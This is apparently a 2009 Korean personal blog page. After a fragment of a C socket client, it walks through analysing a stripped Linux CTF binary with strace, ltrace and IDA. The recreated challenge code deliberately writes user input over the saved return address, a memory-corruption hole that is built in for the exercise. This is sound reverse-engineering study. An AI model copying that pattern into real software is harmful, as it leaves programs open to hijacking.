    if(connect(sock, (struct sockaddr*)&serv_addr,sizeof(serv_addr))<0)
        error_handling("connect() error!");

    /****************** main start ********************/

    if((str_len = read(sock, recv, 64))==0)   //Read 1
        error_handling("read() error!");
    recv[str_len]=0;
    printf("Message from server : %s \n", recv); 

    if((str_len = read(sock, recv, 64))==0)   //Read 2
        error_handling("read() error!");
    recv[str_len]=0;
    printf("Message from server : %s \n", recv);

    if((str_len = write(sock, first, strlen(first))) == -1) ///write 1
       error_handling("write() error");
    
    if((str_len = read(sock, recv, 64))==0)  //Read 3
        error_handling("read() error!");
    recv[str_len]=0;
    printf("Message from server : %s \n", recv);  

    close(sock);
    return 0;
}

void error_handling(char *message)
{
    fputs(message, stderr);
    fputc('\n', stderr);
    exit(1);
}

'OS > Linux' 카테고리의 다른 글

redhat 9.0 networking problem in vmware  (0) 2010.06.20
about Signal  (0) 2009.12.09
Advanced Programming in the Unix Environment  (0) 2009.12.02
APUE 7장 연습문제  (0) 2009.11.27
codegate 2009. hamburger  (0) 2009.08.14
binary analysis in linux box without symbol  (0) 2009.06.15

badcob OS/Linux

binary analysis in linux box without symbol

2009. 6. 15. 16:31

제목이 너무 거창한 감이..

시작은 symbol table 이 제거된 바이너리 분석을 어떻게 해야 될까 였다. codegate 2009 1번 문제,
io.smashthestack.org 의 2번 문제가 이런 형태였다. 할줄 아는건 gdb 뿐인데 볼게 없으니 T_T.

여기저기 자료를 디벼보다 혹시나 하는 마음에
http://www.wowhacker.org Q/A 게시판에 여쭈어봤더니 strace 로 접근한다는 답변을 얻었다.

system call tracer의 종류와 내용에 대한 링크  http://kldp.org/node/900

ltrace를 사용한 역분석 (from OLSP)  http://linux-virus.springnote.com/pages/2737040

리눅스 디버깅에 관련된 링크. http://www.ibm.com/developerworks/kr/library/l-debug/index.html

예선에서 9등을 한 베트남 친구들이 쓴 보고서를 참조해서 binary 1번을 생성했다.

http://vnsecurity.net/Members/lamer/archive/2009/03/11/codegate2009/


int main(int argc, char **argv)
{
int len;
void *retaddr;
len = 0;
if (!argv[1])
{
puts("argv[1] is null");
exit(1);
}
if ( len > 23 )
exit(1);
len = strlen(argv[1]);
memfrob(argv[1], len);
retaddr = (char *)&retaddr + 11; // return address;
         원래는 0x0C --> 10진수 11로 수정 (ubuntu 8.10)
printf("argv[1] = %s \n size = %d\n", argv[1], len);
*(int *)retaddr = argv[1];
}


gcc로 컴파일 하고 strip -s 옵션으로 심볼테이블을 모두 삭제하고 strace로 살펴보았다.

adcob@badcob-desktop:~/work$ strace ./beistcon1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa

execve("./beistcon1", ["./beistcon1", "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"...], [/* 36 vars */]) = 0
brk(0)                                  = 0x9a8c000
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb8008000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY)      = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=50837, ...}) = 0
mmap2(NULL, 50837, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7ffb000
close(3)                                = 0
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/tls/i686/cmov/libc.so.6", O_RDONLY) = 3
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\340g\1"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1425800, ...}) = 0
mmap2(NULL, 1431152, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xb7e9d000
mmap2(0xb7ff5000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x158) = 0xb7ff5000
mmap2(0xb7ff8000, 9840, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb7ff8000
close(3)                                = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7e9c000
set_thread_area({entry_number:-1 -> 6, base_addr:0xb7e9c6b0, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0
mprotect(0xb7ff5000, 8192, PROT_READ)   = 0
mprotect(0x8049000, 4096, PROT_READ)    = 0
mprotect(0xb8025000, 4096, PROT_READ)   = 0
munmap(0xb7ffb000, 50837)               = 0
fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb8007000
write(1, "argv[1] = kkkkkkkkkkkkkkkkkkkkkk"..., 52argv[1] = kkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkK
) = 52
write(1, " size = 41\n", 11 size = 41
)            = 11

--- SIGSEGV (Segmentation fault) @ 0 (0) ---
+++ killed by SIGSEGV +++
Process 14067 detached

이것만 봐서는 memfrob 를 쓴다는 것을 확인할 수가 없다. ltrace로도 돌려보았다.
 
badcob@badcob-desktop:~/work$ ltrace ./beistcon1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa

__libc_start_main(0x8048494, 2, 0xbfc22a04, 0x8048570, 0x8048560 <unfinished ...>
strlen("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"...)                                  = 37
memfrob(0xbfc2373d, 37, 0xbfc22958, 0xbfc22980, 0xb7ef3ff4)                    = 0xbfc2373d
printf("argv[1] = %s\n size = %d\n", "kkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkk"..., 37argv[1] = kkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkK
 size = 37
) = 59
--- SIGSEGV (Segmentation fault) ---
+++ killed by SIGSEGV +++


아하. 요렇게 보니 조금 감이 온다. 하지만 100% 분석은 어렵다 .저기서 발생하는 세그먼테이션 폴트가 리턴어드레스를 덮어 씌워서 발생하는 것이라는 것을 알수 있는 방법은 경험에 의한 직감 뿐이 없는것일까. (지금이라면 나도 리턴어드레스 일지도 모른다고 예상을 할것 같다..)

실로 불충분한 글이다.. 어디다 물어볼 곳도 없고 답답함..

별거 없었다. 걍 scp든 ftp든 파일 가져와서 IDA 로 돌리면 디스어셈블된다.. IDA 가 진리다...ㅅㅂ 단 심볼이 없으므로 함수 이름 등의 정보는 확인할 수 없다.

static + runtime 조합으로 윈도우에서 분석하는것처럼
IDA 로 디스어셈블해서 펼쳐놓고 EDB로 하나하나 확인하면 비슷하게 할수 있을듯.  으라챠!

PS. http://simples.kr/bbs/board.php?bo_table=13_1&wr_id=21&page=2 에 정적 링크된 Stripped ELF 바이너리 상에서의 함수 탐지 기법 이라는 글을 발견. 2nd CodeEngn에서 태인규님(blog.hackken.org)이 발표하신 자료로
Grayresolve라는 IDA plugin을 이용해서 함수 이름을 탐지하는 방법에 대해서 나와있다.

grayresolve down http://www.codeengn.com/2008/Archive/grayResolve.plw







'OS > Linux' 카테고리의 다른 글

redhat 9.0 networking problem in vmware  (0) 2010.06.20
about Signal  (0) 2009.12.09
Advanced Programming in the Unix Environment  (0) 2009.12.02
APUE 7장 연습문제  (0) 2009.11.27
codegate 2009. hamburger  (0) 2009.08.14
linux socket source  (0) 2009.08.05

badcob OS/Linux